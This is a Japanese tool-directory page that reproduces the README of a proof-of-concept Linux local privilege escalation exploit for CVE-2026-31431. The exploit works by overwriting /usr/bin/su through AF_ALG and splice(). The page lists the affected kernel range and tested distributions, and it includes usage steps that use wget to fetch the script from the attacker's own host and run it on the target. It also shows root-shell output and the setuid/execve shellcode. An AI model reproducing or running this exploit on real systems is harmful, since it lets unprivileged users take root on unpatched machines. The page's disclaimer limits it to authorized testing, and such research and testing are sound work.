Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
copy-fail-CVE-2026-31431-shell — PoCシェルエクスプロイト for CVE-2026-31431 (copy_fail) — AF_ALG + spliceページキャッシュ上書きによるLinux LPE。シングルショット、レースコンディション不要、カーネル4.9〜6.18対応。 | Kitploit
ツール/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペイロード開発バイナリエクスプロイト
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

PoCシェルエクスプロイト for CVE-2026-31431 (copy_fail) — AF_ALG + spliceページキャッシュ上書きによるLinux LPE。シングルショット、レースコンディション不要、カーネル4.9〜6.18対応。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
3205ヶ月前未レビュー

CVE-2026-31431 - copy_fail shell

AF_ALGソケットとsplice()によるページキャッシュ上書きを利用したローカル権限昇格。

読み取り専用のSUIDバイナリ(/usr/bin/su)を、setuid(0)とexecve("/bin/sh")を呼び出す最小限のELFで上書きします。レースコンディション不要、ディストリビューション別オフセット不要、単発で実行可能です。

$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

脆弱性

LinuxカーネルのAF_ALG(crypto API)ソケットは、splice()と組み合わせることで、ページキャッシュを操作してO_RDONLYで開かれたファイルへの書き込みを可能にします。カーネルはALGソケットのspliceパス内のコピーオンライトショートカットで書き込み権限チェックをスキップします。これはDirty Pipe(CVE-2022-0847)と同じクラスのバグですが、カーネル4.9で導入された別のコードパスを介してトリガーされます。


影響を受けるバージョン

カーネル範囲ステータス
< 4.9影響なし(脆弱なコードパスが存在しない)
4.9 – 6.18脆弱(約9年間、2017年〜2026年)
≥ 6.19修正済み

テスト済み

ディストリビューションカーネル
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

要件

  • ターゲット上でのローカルシェル(任意の権限レベル)
  • ターゲット上で利用可能なgcc
  • /tmpへの書き込みアクセス
  • x86-64アーキテクチャ

使用方法

# On target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

このスクリプトは以下の処理を行います:

  1. 実行中のカーネルが脆弱な範囲にあるか確認
  2. ターゲット上で組み込みのCエクスプロイトをコンパイル(zlib依存なし)
  3. /usr/bin/suをルートシェルペイロードで上書き
  4. 実行

動作の仕組み

AF_ALG socket (AEAD)
      │
      │  sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (operation socket)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

ALGソケット内のカーネルのspliceパスはコピーオンライト権限チェックをスキップし、読み取り専用で開かれているにもかかわらず、ターゲットファイルのページキャッシュに直接書き込みます。ペイロード(160バイトのELF)は40回の反復で4バイトずつ書き込まれます。

ペイロードシェルコード:

xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

ファイル

ファイル説明
copy_fail_exp.shBashスクリプト — ターゲット上でコンパイル・実行、Python不要
copy_fail_exp.py参考用のオリジナルPython版
copy_fail_exp_deobfuscated.py難読化解除・注釈付きのPython版

免責事項

許可されたセキュリティテストおよびCTF/ラボ環境専用です。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して使用しないでください。

ツールをダウンロード